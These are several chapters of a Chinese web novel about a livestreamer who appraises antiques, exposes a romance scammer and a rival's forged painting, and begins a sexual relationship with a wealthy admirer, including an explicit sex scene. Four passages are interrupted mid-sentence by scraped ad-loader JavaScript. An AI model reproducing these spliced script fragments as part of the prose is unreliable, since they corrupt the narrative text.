金黄的扇形叶片缓缓飘落在秦觅珑肩头,他的穿着打扮让关寻臻恍惚间以为他们是一对正漫步在大学校园小道上的校园情侣。 他取下对方肩头那枚落叶,笑道:“好会找位置的银杏叶。” 秦觅珑抬起头,视线拂过一株株整齐排列的行道树。 路边刚刚亮起的灯光投在他的侧脸上,隐隐绰绰,非常漂亮。 那一刻,关寻臻终于知道这个第一眼就能吸引他视线的人特别在哪里。 自从相遇以来,他好像就一直是一副无动于衷的模样。 他与这个世界之间有一具格格不入的疏离和冷淡假面。 关寻臻没见过他神色动容的样子,不论是升级总统套,还是大手笔的打赏,又或者是粉丝量节节高升…… 除了他情动的时候。 走到路口尽头,两人驻足停下来。 秦觅珑瞥了一眼一直龟速行驶跟在他们身后的宾利,“你该回去了。” 好好的有车不坐非要跟着他一起走路。 他们站的这块地方正好在路灯下方,照出一块只有两个人的区域。 关寻臻弯着唇角,笑吟吟看向秦觅珑,手指勾了勾他的袖口,清透的嗓音像淙淙流水,“离别吻呢?” 亲都亲过了,这时候也没必要再推脱。 秦觅珑一手捧住他的脸颊,垂眸亲了一下他。 一触即分。 关寻臻松开藏在口袋里的拳头,心脏咚咚咚跳得好快。 他含着笑意的眼眸很亮,食指和中指并在一起,从太阳穴划过,对秦觅珑敬了个礼,轻快道:“再见~” “再见。” * 秦觅珑正在发展自己的直播大业。 虽然弹幕都劝他靠脸吃饭,日常无数舔屏言论,但他还是认为外貌这种东西最不值一提,他必须要发展自己独一无二的不可替代性。 【这就是你挂一个防拍价链接的理由??】 【我发誓他不缺广告,我们老板试过联系他,开价堪比大主播,结果他连回都没回。】 【没事哒老公,你有任性的资本,我给你砸钱!】 “这不是防拍价啊,这就是正常价格。” 难道他堂堂秦大少爷出一次手不值得88888? 于是秦觅珑语气坚定地补了一句,“准确地说,是友情价。” 粉丝友情价。 “你说的广告是什么啊?”秦觅珑翻了一下找他合作的商家,随便挑了几个念,“儿童牛奶?生发液?避孕套?” 秦觅珑一把叉掉页面,冷笑一声,“嗤——” 【懂了,老公你别生气呀~】 弹幕一排人都在发【懂了】 【懂啥?你们倒是说啊,难道就我没懂?】 【说明他没有小孩、不熬夜、还用不着套,生活习惯健康良好,大概率单身。】 【懂事的已经去私信了。】 “不准乱叫,也不准乱猜。”秦觅珑挑了挑眉。 【这句话含金量很大啊,我又懂了。】 【刚刚的福尔摩斯呢?出来做阅读理解。】 【我来了!不准叫老公——害羞是男人最好的嫁妆,后半句看完不用再过多解释了,说明前一句也有可能是嫂子在吃醋。】 “哪来的嫂子?”秦觅珑皱眉,拧开一瓶酸奶仰头喝,成功错过了网·福尔摩斯·友的又一波分析。 【看来是对方在追他,但是还没追上,不过应该是有点小暧昧了。】 秦觅珑“咕咚咕咚”喝完一瓶酸奶,扔掉瓶子重新专注回直播间的时候,就发现弹幕又被刷屏了。 一水儿的【补药啊!老公!】 但他此刻没时间去弄清楚原因,因为有人拍下了那条链接。 “谁拍的链接?上麦。” 直播间右下角出现一张小小的屏幕,没有露脸。 “您好,Melon老师。” 听声音是个女生。 “你好,有什么可以帮助你的吗?” “是这样的,Melon老师,我想让您帮我鉴定一下我男朋友。” 秦觅珑眼角一抽,又看了一遍自己挂上去的链接。 因为他懒,就写了四个字:鉴宝鉴定。 “你是不是看错了?我可以给你退款,还是说——莫非你男朋友是哪个国宝修炼成精?” 女生迟疑了一下,才道出真正原因:“不是的,我其实就是死马当活马医,身边没有可以诉说的人选,所以想让您和网友都帮我分析一下他究竟爱不爱我。” 屏幕里出现一张女生和她男朋友的聊天记录,男生对她可以说是事无巨细,嘘寒问暖,字里行间都透露着浓浓的关心之意。 “我家算是中产吧,这个男 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 生是我在留学期间认识的,据他介绍家里资产能达到几百个小目标,有名的几个楼盘基本都有他家的投资……” 女生讲述了两个人认识的过程。 秦觅珑从一开始的面色平静到后面的面无表情,“你让我看看他朋友圈。” 女生犹豫了一下,还是依言照做了。 男生的朋友圈都是些带有定位的风景照,以及和各种名人握手的合影。 【哇,开眼见世面了,那不是p国总统吗?!】 【救命!私人座驾是直升飞机是什么体验啊!】 【真正明白了什么叫做:人生的分水岭是羊水……】 秦觅珑轻咳一声,“直接分手吧。” 弹幕:【?】 “瑞特吉思山脉的滑雪确实很有名,但是有大大小小近一百多个雪场,从他照片背景来能模糊看出雪道难度很低,他大概率不是文案里自称的滑雪爱好者。” 他有个特别热爱极限运动的发小,自从滑完有名的各大雪场之后就觉得不刺激转而跳伞了。 “与p国总统握手合影……像这样的机会很多,晚宴的入场券很好获得,就能再加点钱和他们握手合影,假如你预算充足,也可以和他们一起共进晚餐。” 秦觅珑轻描淡写揭过这一茬。 “虽然文案里一直在暗示直升飞机是他的私人座驾,也难怪你们会误会,‘又搭着小飞机去了某地……’这句话我更倾向于,他又一次获得了在直升飞机上摆拍的机会。” 圈子里有个鼎鼎有名的败家子,连直升飞机都不止一架,还涂鸦改装了喜欢的图案,连逛商场都要找家有停机坪的。 照片里的直升飞机灰扑扑的,长这么难看,估计不是这个男生私有的,秦觅珑以自己的刻板印象出发,终于一锤定音,“朋友圈都是刻意包装的。” 女生激动地道了谢,发誓以后谈恋爱要擦亮眼睛看清对方的真面目,“我现在就和他说分手!” 【惊现杀猪盘,太精彩了,这还用得着说爱不爱吗?连最基本的真诚都没有,小姐姐快跑!就是惦记你家财产。】 【小姐姐百分之八十是独生女。】 【不对劲不对劲……难道你们就没察觉Melon这小子知道的有点太多了吗?】 【比起极品男模的设定,他家里可能有矿的猜测更让我心梗。】 【上帝为你关上哪一扇窗?寒窗吗?】 秦觅珑憋着笑,突然想逗一逗这群网友,“你们说我名下的钻石矿吗?那都是很久以前的事情了。” 他故作悲伤叹了口气。 【我勒个豆啊!搞到真太子了!】 【已经脑补出几百万字家族斗争爱恨情仇了……】 【一说矿,我这个俗人只能想到煤矿金矿石油矿,你一张口来个钻石矿,你是真有过是吧大哥?!】 秦觅珑笑了一下,“好了,今天卖出去一单,提前完成kpi,我要下播了。” 【补药啊,我每天累死累活加班唯一的乐趣就是摸鱼的时候来看看头牌Melon哥。】 【你别笑了,再笑我真的要喷鼻血了。】 【假如能和Melon结婚,就是让我住豪宅开豪车拥有大钻石矿我也愿意啊!】 头牌Melon哥又被逗笑了,“好了,明天见,大家。” 11. 飞天大狗熊 关寻臻这几天都没有给秦觅珑发消息。 不过这人的存在感仍然超强。 秦觅珑看了一下直播间的后台数据。 第一名:GG,礼物值:10101010 第二名:XX,礼物值:520520 第三名:ZZ,礼物值:520000 ……他究竟是在干什么? 只要秦觅珑每次一开播,就会有一条奢华的入场特效低调地飘上屏幕。 说奢华,是因为那两个字母金光闪闪,还顶着超级用户四个大字的至尊VIP前缀。 说低调,是因为无论弹幕有多么热情迎接,某人都能忍住不说一个字,至今为止都没有在秦觅珑的直播间留下过半条弹幕。 今天也不例外。 秦觅珑刚一上播,就接到了爵爷的连线邀请。 这位千万粉丝量级的大网红又带给他的直播间不少流量。 奢华的入场特效夹杂在一众汹涌的庞大流量之中算不上有多么明显。 爵爷一看见他的脸眼睛就锃亮得像个电灯泡,态度和第一次见面时可谓是天差地别。 “Melon老师,真是多亏了你啊!那个鼻烟壶真的是赝品!幸好有你我才及时追回了损失,那个卖家都订好出国的机票了,恐怕过个几天就抓不着他了!”爵爷兴奋地把这几天发生的事情倒豆子似的讲出来。 “以后咱俩常连线啊~等会儿你下播我们加一下联系方式呗!” 【我天!爵爷的联系方式,至少值个六位数吧!这天大的福气(馋)】 【哼哼,我们Melon可是落跑太子爷,谁占谁便宜还不一定呢。】 【别装了……那女的一看就是请来的水军啊xs,还真以为背点稿子就能显得自己有文化?看来爵爷公司为了推出这个新主播也是下血本了。】 秦觅珑以一个舒适的姿态浑身放松地靠在椅背上,一手撑着下巴,好心地告诫他,“下次再遇到喜欢的东西,千万不要一冲动就下单。” 爵爷立马正襟危坐,点头如捣蒜。 【笑死,小学生闯祸被老师教训一通后乖巧点头即视感】 【是我的错觉吗,总感觉话里有话呢……】 爵爷不仅嘴上叨叨感谢个不停,还在征询秦觅珑的意见后开了一场多人连线PK,一共五个人,都是他精挑细选的大主播。 【看来是被划进自己人范畴里了,这都是爵爷的好朋友们啊!】 【这是什么?好朋友,蹭一下,这是什么?好朋友,蹭一下。】 【还人情也不用这么隆重吧?小宇、沐沐都是初代网红,这一波能给新人涨多少粉啊(吐血)】 “这是小宇,人称街舞小王子;这是沐沐,人美心善百灵鸟;熊哥你认识的,之前见过。”爵爷热情地给双方做介绍工作。 秦觅珑神色淡淡,礼貌点头致意打过招呼后就没有其他多余的动作,和其他连线到大主播后诚惶诚恐不停拍马诉衷情的小新人形成了强烈对比。 【本来在小宇那边挂着,没想到听见爵爷说来了个新人,我一边洗头一边想这个新人怎么这么拽?实在好奇凑到手机前面看了一眼——男人,我承认你有拽的资本!!(流口水)】 【真的很不懂礼貌很没教养,见到前辈就这幅态度?立个人设真把自己当太子了?】 【嘻嘻嘻,真的有人以为随便评判其他人有没有教养的人很有教养吗?】 【咋滴?我家Melon就是太有教养才不和你计较,要是换了老娘立马库库抽你俩大嘴巴子你信不?】 爵爷滔滔不绝地讲述他的经历,无比捧场地给秦觅珑吹水,“哎呀,你们是不知道,我一开始就是想卖个人情!看Melon爆火嘛,经纪人那边也叫我去接触一下,前期帮他长点流量,后期妥妥的‘好兄弟’啊!有这么一个大帅哥好兄弟在,我铁定商务接到手软。” “你怎么什么都说出来啊?你这个人放进宫斗剧里活不到第二集。”沐沐笑得合不拢嘴,打趣道:“这下好了,Melon听了知道你不是无缘无故的好心人了。” “所以我说一开始嘛!但是!但是!那天他说我好不容易买到的鼻烟壶是假的,我以为他故意在那儿踩我上位呢!结果,诶呀我去,这哥们儿太有实力了!不仅长得有实力,文玩鉴定这块也是真有货啊!你们当时不在,不知道那一刻我有多么震惊,这种随便遇上一个路人结果是少林寺扫地僧的感觉有多么令人上头!”爵爷像个机关枪似的突突突噼里啪啦说了一大堆。 “他?路人?你去大街上能抓到长这样的路人?”小宇无情吐槽。 “比喻!就是比喻嘛!”爵爷又开始cue飞天大狗熊,“熊哥熊哥!你说那天是不是和我说的一样?” 飞天大狗熊突然被cue,一时间还没来得及做反应,表情淡淡,几秒后才带笑道:“是啊,挺难得的,他眼力确实不错。” 【爵爷这孩子,我真是不知道该说什么好了,真是没有心眼,啥都往外说啊!】 【沐沐和小宇也很上道,都在顺着夸ml提前卖好,除非ml有洗不了的什么瓜被爆出来,否则他肯定能上百万粉。】 【你们城里人心眼子真多,不像我们狗熊哥,我看他真的很无措,老实人吃大亏啊。】 【前面的,什么百万粉啊?格局打开,你看看Melon主页,现在已经80w粉丝了,估计今天pk结束就百万了。】 【ml这个缩写好啊!想要和ml老公ml~】 【狗熊还老实人呢?粉丝问你家主播借点脑子吧,爵爷绝对和狗熊有矛盾了。】 【不是吧?!这话怎么说?爵爷刚刚还在cue他呢!】 【我要是狗熊我也笑不出来,他众所周知的三大特点:1.和爵爷有交情。2.神秘某圈太子爷身份。3.喜欢古玩收藏品。】 【可怜的狗熊兄,现在还多了个特点:不帅。】 【你们搁这儿竞品分析呢?】 小宇突发奇想:“诶!熊哥!你家不是有那什么的画吗?让我再见识见识呗,顺便听听Melon老师的点评。” “小宇你big胆!价值三个亿的画你也敢开口?太不要脸了你。”沐沐笑着骂他。 爵爷问秦觅珑,“Melon你想看不?这可是熊哥成名之作。” 秦觅珑:“什么画?” 成名之作,这个词听起来像是飞天大狗熊自己画的。 飞天大狗熊摸了摸后脑勺,憨憨地笑了一下,“没什么好看的,都是些家里的东西。” “太凡尔赛了我受不了了!唐代大家的画原来也只是你家里平平无奇的装饰。”小宇震惊地捂着心口,一副快要晕厥的表情。 爵爷善意地补充解释:“Melon你知道唐代被称为画圣的那位五道子吧?熊哥家里的镇宅之宝就是他的画!” 【!妈妈问我为什么跪着看直播!】 【你们不知道吗?当初狗熊就是因为这幅画火的。】 【我小学的时候听过新闻,说是有一位神秘商人在苏富比拍卖行以四千多万美元的高价拍下了五道子的一副山水图,不会就是大狗熊家里人吧!】 【当时真的火爆很长一段时间,营销号的开头我都能倒背如流了:“家人们谁懂啊,豪门世家小少爷当主播也就算了,居然还给自己取名叫飞天大狗熊!少爷家里有一副价值三亿……”】 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秦觅珑:“我对五道子的画没什么研究,不过听说他的画收藏价值很高。” 话音刚落,飞天大狗熊状似犹豫了一下,还是松了口:“大家真想看也没问题,这幅画挂在书房的墙上,我只能带大家远远看一眼,因为它取下来很麻烦,容易破损。” “哇,要看见三亿人民币了!”沐沐一脸激动。 飞天大狗熊站起身,镜头随着他的步伐移动。 他打开书房的门,墙上赫然挂着一副古色古香的画卷,长达数米,其上线条古韵生动,引人入胜。 所有直播间的弹幕:【哇!!!】 可惜飞天大狗熊没有停留多久,直播间连画的全貌都没看清,他就转身离开了。 “下次有机会再带大家好好欣赏一下,今天我们五个人打PK,不要因为我一个人浪费太多时间。” 【他真的有在为别人考虑,这就是豪门教养出来的孩子吧。】 【别的不说,这哥们儿家里底蕴是真的足!】 【能随随便便拿出三亿现金流拍一副画的家族……】 爵爷鼓掌,“熊哥威武!” 小宇附和:“多亏了熊哥带我见世面。” 沐沐感叹:“就算我有个几十亿身家,我估计我都不会用三亿买副画。” 飞天大狗熊还是那副憨厚老实的样子,“那倒也没有,毕竟你说你是古玩爱好者,家里肯定也要有点拿得出手的真东西,不然也太跌份儿了。” 【哈哈哈哈哈哈就差指名道姓了,某人有本事也让我们看看家里有什么好东西啊。】 【别揭穿了,小心被资本捂嘴,本来就是炒作,所有台词都是背好的,还有人真信他是一个横空出世小新人吗?】 【脸也是整的,还在修复期不能说太多话,否则他早就贴上大网红蹭流量了,不然你以为他一个新人这么清高?】 这些弹幕基本都发生在飞天大狗熊的直播间里,除了可能会过来串门的粉丝之外,其他人都看不见。 飞天大狗熊笑了笑,不置一词。 秦觅珑的粉丝战斗力超强,要是看见这种弹幕估计能喷得人底裤都不剩,分分钟把天花板骂穿。 但是他们此时此刻都在关心同一件事。 【真嘟假嘟0.o】 【震撼得我失去语言表达能力了……】 【发生什么了?老公你说句话呀老公你说句话呀!】 【不可能有人拿这种事开玩笑吧?!】 【我说实话,感觉这人不是开玩笑,你看看他粉丝值……】 【粉丝值前三名的昵称如此相似,真的很难不让人怀疑是同一个人。】 秦觅珑的直播间又被砸了梦幻城堡。 x1,x2,x3……x99! 还没停!还在继续往上砸! x100,x101……x199,x200!! 足足两百个梦幻城堡!! 其他几人都被这动静吓了一跳,原因无他,实在是特效看得人眼花缭乱。 直播间在线人数本来就多,神豪砸钱,更是带起一波礼物,小到玫瑰花、钻石戒指,大到兰博基尼度假别墅,各种漂亮的特效淹没了秦觅珑的脸,整个直播间都被密密麻麻的特效覆盖着。 得益于大手笔打赏,这个时间点在线的人,几乎都被首页推送了这个五人直播间。 本来想cue秦觅珑的爵爷一脸懵,“发生什么事了?” 各直播间的粉丝都跑出去打探消息,回来的却不多。 两分钟前。 当飞天大狗熊说出那句话后。 关寻臻在秦觅珑直播间留下了第一条弹幕:【假画,真的在我家。】 12. 要不要来我家看星星? 这条弹幕很快被其他粉丝转述给了另外几个主播。 沐沐扫了一眼弹幕,前一秒还在欢快地和粉丝开玩笑,下一秒瞳孔巨震、笑容消失。 她急急忙忙道:“那、那个,我今天直播时长差不多够了,我先下了爵爷!” 话毕,她无比利落地断开了连线。 三十六计,走为上策! 小宇正纳闷沐沐今天的反常表现,正要开口挽留,“诶沐沐……” 下一秒,他同样看见了粉丝在弹幕里发的转述。 【小宇!跑!明哲保身!】 【你快走吧!下次你开播我告诉你瓜好不好吃。】 他浑身一震,眼看屏幕上爵爷和飞天大狗熊的脸色也肉眼可见的有了变化,立马出声道:“我、我突然想起来今天和我爸妈说了回家吃饭,这都八九点了我再不回去不行了,先走了啊兄弟们!” 说罢,直播间屏幕上就只剩下三方小屏幕。 爵爷没走,在这种情况下,他不可能再一次做出像上次那样只留下另外两个人的举动。 【小宇找的借口拙劣得让人无法直视】 【我都替爵爷尴尬得想死……】 【营销号一天到晚吹爵爷是最有情商的大网红,来吧!展示你的高情商哈哈哈哈】 爵爷伸出食指挠了挠脸颊,神色疑惑,不太确定地问:“额……嗯……什么情况Melon?” 【好家伙,一张口就先问Melon,你熊哥整张脸都黑下来了。】 【老爵你装什么清纯无辜小白花,弹幕不都告诉你了吗?乐。】 秦觅珑懒懒散散靠在椅背上,脸色没有半分动容,语气很平淡,“刚才那副五道子的真迹在我朋友家里。” 似乎是没想到他会这么直接地下了定论,饶是爵爷也霎时卡了壳,不知该说什么好。 飞天大狗熊闻言更是脸色难看,一张口语气就很冲:“现在随随便便一个新主播都有这么大胆子了是吧?” “我不知道你那个朋友是什么人,但是你敢说这种话,就要先掂量掂量会有什么后果,好歹考虑考虑自己能不能承担那个下场!” 【妈耶,好凶啊,是不是要吵起来了……】 【这么快就和榜一大哥是朋友了?某些人这幅吃相不难看吗?】 【狗熊说话太难听了吧,这么咄咄逼人地威胁小主播。】 【他本来就是前辈啊,而且Melon说话太绝对了吧,榜一随便说句话他就盖棺定论吗?】 爵爷连忙缓和气氛,“冷静一下冷静一下,大家都是朋友……” “我倒是想看看你能让我沦落到什么地步。”秦觅珑慢条斯理说完这句话,哼笑一声,直接断开了连线。 徒留剩下的爵爷面对着已经气得脸色发青的飞天大狗熊讷讷无言。 在秦觅珑断开连线的那一刻,众多观众蜂拥而至,他的粉丝量以一种无比恐怖的速度飞速上涨。 顶着各大主播粉丝团名牌的直播间弹幕更是无比活跃。 【就这么走了?让别人下不来台就一走了之?】 【他不走留那里干嘛?等着被狗熊甩脸色看吗?】 【那爵爷呢?爵爷对他那么关照,Melon都不考虑他的感受吗?】 【你们这还看不出来?爵爷一直在拿Melon当枪使啊,他肯定和狗熊有矛盾了,刚好Melon又和狗熊人设相似,用起来不知道是把多趁手的刀呢。】 【我趣,我想起来了,估计爵爷一开始就知道画是假的吧,所以叫他关系比较好的沐沐和小宇明里暗里撺掇狗熊把画给Melon展示一下。】 【狗熊也很精明,前面一直推脱,等Melon说自己这方面没什么研究才松口。】 【问题是他们关系不是特别好吗?怎么会突然闹掰啊,明明刚才还其乐融融的啊。】 【我有个大胆的猜测……还记得之前爵爷说狗熊本来也想买那个鼻烟壶吗?说不定爵爷就是被狗熊坑了一把又被Melon提醒……】 【我勒个豆,人均八百个心眼子……】 秦觅珑支着下巴,静静地看弹幕大军分析来分析去。 等弹幕有人问他在想什么的时候,他瞄了一眼旁边的时间,“到点了,下播。” 话音刚落,几十万粉丝的手机屏幕就跳出“您观看的直播间已结束直播”的黑屏。 !!! 怎么会有这么任性的主播啊!摔! * 一下播,秦觅珑就接到了关寻臻的电话。 对方好像尤为偏好语音沟通。 “要出来玩吗?” 秦觅珑答应了。 这不是一个单纯的邀约,多半和那副五道子的真迹有关。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 既然是关寻臻惹出来的事情,不论怎么说都要让他来出力解决吧? 关寻臻问:“我能来接你吗?” 秦觅珑把地址发过去。 大约五分钟后,关寻臻给他发消息。 【我到了。】 关寻臻没说假话,他坐在楼下大堂的沙发上,身边的小茶几上甚至还有一杯泡好的花茶冒着腾腾热气。 几乎是秦觅珑刚走出来,关寻臻就抬起头往他的方向看过来。 秦觅珑在他对面坐下,拒绝了正要倒茶的管家。 “怎么来得这么快?” 关寻臻轻描淡写地一笔带过,“这个楼盘有几套房子,这几天刚好住在这边,没想到这么巧你也在这里。” 这段日子以来,他每天都精心打扮做足充分准备,就是为了应对秦觅珑可能心血来潮又邀请他一起吃饭之类的邀约。 他等啊等,等啊等,实在是受不了了,干脆找个由头主动出击。 万万没想到,秦觅珑居然就和他隔着步行五分钟的路程! 早知道这样,他估计每天都会跑过来邀请他一起吃饭…… 相较于他武装到每一根头发丝的精致,秦觅珑就随意多了,身上甚至还是直播那套衣服。 不过,他那张脸就算是套个垃圾袋都好看,帅得关寻臻差点忘记自己提前排练好的台词。 关寻臻注视着秦觅珑的双眼,唇角真诚的笑意恰到好处,带着成年人心知肚明的邀请又不致于太过有侵略性,“听说最近有流星雨,我家有个视野很棒的顶层露台,你想看星星吗?” 秦觅珑愣了一下,他以为他会提起那幅画。 关寻臻率先站起身来,下巴朝着门口的方向点了点,“走啊。你上次不是觉得那家私房餐厅的酒味道不错吗?我按照你的口味准备了好几支很不错的酒。” ……上次喝酒的代价是秦大少爷的初吻。 关寻臻从来没有这么努力地绞尽脑汁想办法讨别人欢心过,好在他遇到的是懵懂无知的秦觅珑,一张既跃跃欲试又经历空白的情爱白纸 ——即便他只会打直球这一招,也完全绰绰有余。 秦觅珑的表情古怪,迷茫中带着点新奇。 无论如何,他都顺着关寻臻拉他的力道站起来乖乖地跟着他走了。 应下他的邀请,去他家里看星星。 13. 我想要你 群聊[H市扫黄打非小分队] 大鸡炖蘑菇:【天呐!你们有没有看Melon大帅哥直播啦?那个对面主播真是吓死人了,好粗鲁的!】 纯欲美0在线摇人:【……你变了大鸡,圆脸寸头络腮胡不是你的心头好吗?明明之前还觉得这个飞天大狗熊是你最爱的那款熊系男。】 456:【Melon这才直播多久呀,感觉他至少赚了一套房,榜一大叔肯定都拿到他联系方式了,真是嫉妒死了!】 大鸡炖蘑菇:【没办法,Melon帅到可以让我打破原则……其实我觉得从取名风格上来看,榜前三都像同一个人,连起来不就是名字缩写GXZ吗?】 Agoni:【那我大概可能知道是谁了!假如真的是我知道的那位,他绝对不是大叔,而且颜值这块估计和Melon还挺配的。】 456:【Agoni认识的人,那肯定家境相当不错咯,真是帅哥都流向不缺帅哥的人,哼~】 Agoni:【岂止不错,那是相当厉害……最近确实听说他在H市有个项目来着,我也只有某次宴会惊鸿一瞥见过他,而且从来没听过他有过什么绯闻,我一直以为他是性冷淡来着!】 纯欲美0在线摇人:【nini,你也太胆小了吧,既然这个人帅气又多金,就算是性冷淡也要努力勾引一下嘛!】 Agoni:【够了……他眼光高得要死,而且脾气很差,我都担心要是Melon老公真的和他有牵扯会被欺负。】 * “怎么?担心我欺负你?”关寻臻见秦觅珑迟迟不接他递过去的酒杯,低低笑了一声,随手把杯子搁在他手边。 秦觅珑抬头望了一眼一览无余的夜空,意味不明道:“今天是阴天。” 阴到连颗星星的影子都没见着。 被拆穿的关某人耸了耸肩,悠然自得地啜饮一口红酒,“忘了说,在这里看夜景也是个不错的选择。” “那副画是怎么回事?” “我查了一下,发现那个小主播和我的一个远房亲戚有点交情,所以大家也就对那些事睁一只眼闭一只眼。不过我已经派人去解决了,明天你就能看到结果。” 关寻臻话音一转,定定看着秦觅珑,眼中闪烁着希冀,“我做得怎么样?是不是应该给点奖励?” “……勉强及格。” 假如不是飞天大狗熊线出言不逊公开嘲讽秦觅珑没有拿得出手的藏品,关寻臻可能也不会选择在大庭广众之下暴露真相。 关寻臻将杯内红酒一饮而尽,又一次向秦觅珑发出邀请,“风好像有点冷,我们去里面坐坐?” 秋天的晚风又柔又轻。 秦觅珑幽幽道:“我不冷。” 关寻臻看他一眼,“我知道你在担心什么,但是不明白你在犹豫什么。” “不必有心理压力,我们都是成年人,我也不会让你为难。在此之前,我没有过性经验和恋爱经历,你是第一个我看得上的人。” “况且……我们很有缘分不是吗?恰好那天我在那家酒店附近有个项目要谈,恰好你和我搭上了同一部电梯,恰好你会德语,恰好我们又住一个小区……” 关寻臻的语气越来越不对劲,秦觅珑偏头看过去,发现他俨然有了几分醉意,脸上已经开始发红。 他还在继续吐露心声,“我只是觉得你的外形条件很不错,对你是有点好感,但还没到爱上你的程度。难道你不是吗?我不相信你对我没有感觉,要不要试一试?我是说——Ich will dich.” Ich will dich,我想要你。 秦觅珑几乎要开始怀疑自己的耳朵,心里缓缓浮现一个猜测:莫非这就是H片世界的特色? 也许对这里的人来说,性不过是家常便饭,并不算什么让人谈虎色变的东西。 关寻臻的视线不动声色地掠过秦觅珑的脸,他根本没醉,但是孤男寡男的独处以及酒意加成让他说出了一番连他自己都难以置信的大胆话语。 而且这颗小甜瓜现在可是在他的地盘上。 他一边在心里羞耻唾弃,一边又有点暗爽——秦觅珑那副招架不住的小模样,让他有一种自己很游刃有余的错觉,这种万事皆在掌控下的感觉相当令人着迷。 秦觅珑还是没说话,但他端起了红酒杯。 酒液入喉,喉结滚动,不停颤动的睫毛像展翅欲飞的蝴蝶。 关寻臻突然有点干渴。 但现在鱼儿还在吃饵,钓鱼者不能轻举妄动,以免惊走警惕的鱼。 “进去。”秦觅珑放下空杯子,嗓音有点沙哑。 鱼儿上钩了。 一股难以形容的强烈兴奋在浑身上下的血液中游走,关寻臻的心脏狂跳,毛孔颤栗。 提前醒好的红酒,床头柜里准备的润滑液和安全套,以及…… 网友有一点说错了,秦觅珑的手指拆餐具的时候很灵活,但用在解衣服上就略微逊色了。 关寻臻可以对上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 帝发誓,他挑了件纽扣多的衣服只是想让对方有种拆礼物的感觉。 “撕拉——” 伴随着一声布帛撕裂的脆响,几粒金属纽扣“噔噔噔”落到地板上。 像是有人在餐前祷告:我要开动了。 没耐心的年轻男生撕一件丢一件,地毯一点点被散落的各类衣物盖满。 关寻臻迷迷糊糊地就做了零,他以前可从来没想过自己会是零。 当然,遇上秦觅珑后,他也从来没觉得秦觅珑会不是一。 第一次钓鱼的体验差强人意,头一次放下鱼钩就收获一条肥美大鱼的成就感相当不错,只是那条鱼年轻力壮,惯爱在渔网里毫无章法地横冲直撞,没有经验的钓鱼人完全招架不住,笃定了它是条刚成年就被捕获,对人类世界极其陌生的青涩幼鱼,只好一下又一下拂过它的脊背,或是做些更为亲昵的动作安抚它,叫它不要太过莽撞。 关寻臻喜欢面对面的姿势,这样他就能清晰地观察秦觅珑的表情,看他动情,看他皱眉,看他面染绯红,看他眼角眉梢都飞上餍足之色。 然后他就眼睁睁地看秦觅珑又伸手去拿四四方方的小盒子。 关寻臻的嗓音低哑,有气无力地叫住他:“Melon,我不行了……” 他的身体素质绝对算得上出色,但进攻方可以通过调整力度与频率来掌控战斗的节奏,承受方却往往只能被迫迎接一波又一波快感,直到身体无法负荷为止。 每块肌肉组织都酸痛无比,身体像是散架了似的,再继续下去,他就要下不了床了。 秦觅珑用手指把头发往后梳,光洁的额头布满细汗,露出漂亮的眉眼,往日里冷淡又怠懒的瞳仁氤氲着水汽显得更为清透。 “我还以为这些都要用掉。” 能看出来他是真的这么想的——床头柜上摆了五盒,他们已经用掉了整整两盒。 关寻臻的眼泪早就流干了,身体里仿佛还残存着情事的余韵,他缓了一会儿才开口,“我感觉挺好的,你呢?” 他的指尖在秦觅珑的掌心画圈,时而点来点去不停作怪。 秦觅珑反握住他的手让他动弹不得,很认真地思考了一会儿,才慎重地回答这份来自于刚刚才做完名义上却还是朋友的人给出的问卷调查,“舒服,比自己动手解决的感觉好很多。” “应该是有氧运动。”他补充道。 关寻臻哑然失笑,勾住他的脖颈把他压下来结结实实亲了一口。 他真可爱。 14. 我们只是朋友 关寻臻吩咐下去的事情办得很顺利。 第二天,官方给出一则声明,宣称有热心人士作证真画的确切动向,而飞天大狗熊借助一副赝品打造虚假的权贵二代人设,恫吓新人主播,言行举止不符合社会主义价值观,为避免助长不良风气,平台决定剥夺其直播间权限。 不少主播的直播间弹幕都在讨论飞天大狗熊这件事。 【不是太子吗?这么轻易就被封了?】 【这个理由也太扯了,这平台上有真实人设吗/挠头】 【主播,你以后见到Melon记得绕道走,不然以后我就看不见你了/大哭】 【Melon究竟是何方神圣,连爵爷看狗熊不爽都要借刀杀人,结果狗熊挑衅Melon几句就被制裁了。】 【此子恐怖如斯!】 有点脑子的主播都没有附和弹幕聊这件事,要么装眼瞎,要么…… “啊,我身高?我身高183,对对对。”小宇昨天溜得太早,直播时长根本不够,只好提前开播续时间,“晚上吃了啥?我想想啊……吃了啥呢,哦对啊我还没吃呢!” 【谁问你了?弹幕里根本没人问啊!】 【小宇你上星期还说自己185/托腮】 【你努力筛选弹幕的样子真是又心酸又狼狈。】 【兄弟嘴别这么严啊,透露点圈里内幕呗!】 小宇装聋作哑,“今天弹幕怎么这么少?大家都还没下班放学吗?” 【什么睁眼瞎行为/闭目】 【宇啊,不用做垂死挣扎了,狗熊发文了,说他被平台背刺,打算转战去无花果平台了。】 秦觅珑所在的平台跳跳鱼和无花果是竞争对手,飞天大狗熊趁着热度换平台估计能给无花果带来不少话题度,但同时也象征着和跳跳鱼正式撕破了脸。 不少人都在期待飞天大狗熊转平台后的第一次直播会说些什么惊天爆料。 秦觅珑对这件事暂时一无所知。 眼下他陷入了另一个麻烦。 于声双手不安地拧着衣服下摆,泪眼朦胧地望着他,咬着唇呜咽,“你为什么这么狠心,把我的联系方式都拉黑了,也不来找我……” “你有事吗?”秦觅珑的语气中听不出喜怒,眼神冷淡地扫了低头抹眼泪的于声一眼,那目光和看路边的垃圾桶没什么区别。 今天秦觅珑和那位买家约好来房地产交易中心办理过户手续,没想到刚走出门就有一个不明物体朝他扑过来,幸好他反应迅速,一个闪身躲开了。 大庭广众之下,于声趴在地面上,拽住他的裤脚期期艾艾地抬起头,一张口就是哭腔,“你终于来了!我每天都来这里等你,幸好你来了……” ……秦觅珑真的很想知道明明他戴着帽子口罩,于声是怎么认出他来的? 有这份天天蹲在这里堵他的毅力,去做什么不好?简直是天选黄牛预备役,狗仔王中王圣体。 